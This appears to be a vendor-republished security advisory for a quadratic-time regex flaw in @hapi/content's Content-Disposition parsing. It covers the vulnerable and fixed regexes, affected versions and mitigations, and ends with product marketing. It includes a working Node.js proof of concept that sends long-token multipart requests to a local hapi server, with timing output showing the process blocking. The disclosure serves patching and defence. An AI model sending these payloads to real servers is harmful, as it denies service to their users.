Summary
@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service
Content.disposition() takes quadratic time when a Content-Disposition parameter contains a long token without =. One unauthenticated multipart request can block the Node.js event loop for several minutes.
Details
Content.disposition() reads the parameters with a global regular expression in String.prototype.replace():
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g
The parameter name part ([^\=\*\s]+) has no anchor. When a run of name characters has no = after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.
@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi, this occurs on each route with payload.multipart enabled, before the route handler and before any validation. The only size limit is the route payload.maxBytes, which is 1 MB by default.
The fix adds an alternative that matches the full run of name characters when no = follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g
Every release from 3.0.6 (published as content) up to and including @hapi/content 6.0.2 is affected.
Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low payload.maxBytes on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.
Proof of concept
Install @hapi/hapi with @hapi/content 6.0.2, then run:
const Hapi = require('@hapi/hapi');
const Net = require('net');
const attack = (port, n) => new Promise((resolve) => {
const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
const start = process.hrtime.bigint();
let res = '';
const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
socket.on('data', (chunk) => res += chunk);
socket.on('close', () => resolve(`${n} byte token HTTP ${res.split(' ')[1]} ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});
(async () => {
const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
server.route({
method: 'POST',
path: '/upload',
options: {
auth: false,
payload: { multipart: { output: 'data' }, parse: true }
},
handler: () => ({ ok: true })
});
await server.start();
for (const n of [32000, 64000, 128000]) {
console.log(await attack(7001, n));
}
await server.stop();
})();
With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:
32000 byte token HTTP 200 0.424 s
64000 byte token HTTP 200 1.670 s
128000 byte token HTTP 200 7.173 s
The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.
With @hapi/content 6.0.3:
32000 byte token HTTP 200 0.011 s
64000 byte token HTTP 200 0.003 s
128000 byte token HTTP 200 0.004 s
1024000 byte token HTTP 200 0.013 s
Impact
This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to Content.disposition(). An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.
A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.
CVE-2026-119202 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.0.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-119202? CVE-2026-119202 is a high-severity inefficient regular expression (ReDoS) vulnerability in @hapi/content (npm), affecting versions <= 6.0.2. It is fixed in 6.0.3. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
- How severe is CVE-2026-119202? CVE-2026-119202 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-119202?
@hapi/content(npm) (versions <= 6.0.2)content(npm) (versions >= 3.0.6, <= 4.0.6)
- Is there a fix for CVE-2026-119202? Yes. CVE-2026-119202 is fixed in 6.0.3. Upgrade to this version or later.
- Is CVE-2026-119202 exploitable, and should I be worried? Whether CVE-2026-119202 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-119202 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-119202? Upgrade
@hapi/contentto 6.0.3 or later.